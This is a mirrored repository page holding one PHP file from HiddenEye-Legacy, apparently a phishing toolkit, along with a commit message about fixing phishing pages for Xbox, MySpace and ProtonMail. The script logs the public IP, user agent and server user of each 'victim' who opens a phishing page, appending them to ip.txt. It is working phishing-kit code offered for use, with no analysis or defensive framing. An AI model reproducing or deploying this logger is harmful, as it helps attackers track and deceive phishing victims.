mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
2de87f7742
* Fix #448 * Fix #449 * Fix #416 and #431 * Added Xbox * Fix MySpace and ProtonMail * .gitignore file * Fix ip.txt
35 lines
877 B
PHP
35 lines
877 B
PHP
<?php
|
|
|
|
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
|
|
{
|
|
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
|
|
}
|
|
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
|
|
{
|
|
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
|
|
}
|
|
else
|
|
{
|
|
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
|
|
}
|
|
|
|
$browser = $_SERVER['HTTP_USER_AGENT'];
|
|
$useragent = " User-Agent: " . $browser;
|
|
|
|
$user = get_current_user();
|
|
|
|
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
|
|
$victim = "VICTIM OPENED THE PHISHING PAGE" . "/r/n" . " Victim Public IP: ";
|
|
|
|
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user;
|
|
|
|
$fp = fopen($file, 'a');
|
|
|
|
fwrite($fp, $victim);
|
|
fwrite($fp, $ipaddress);
|
|
fwrite($fp, $useragent);
|
|
fwrite($fp, $currentuser);
|
|
|
|
|
|
fclose($fp);
|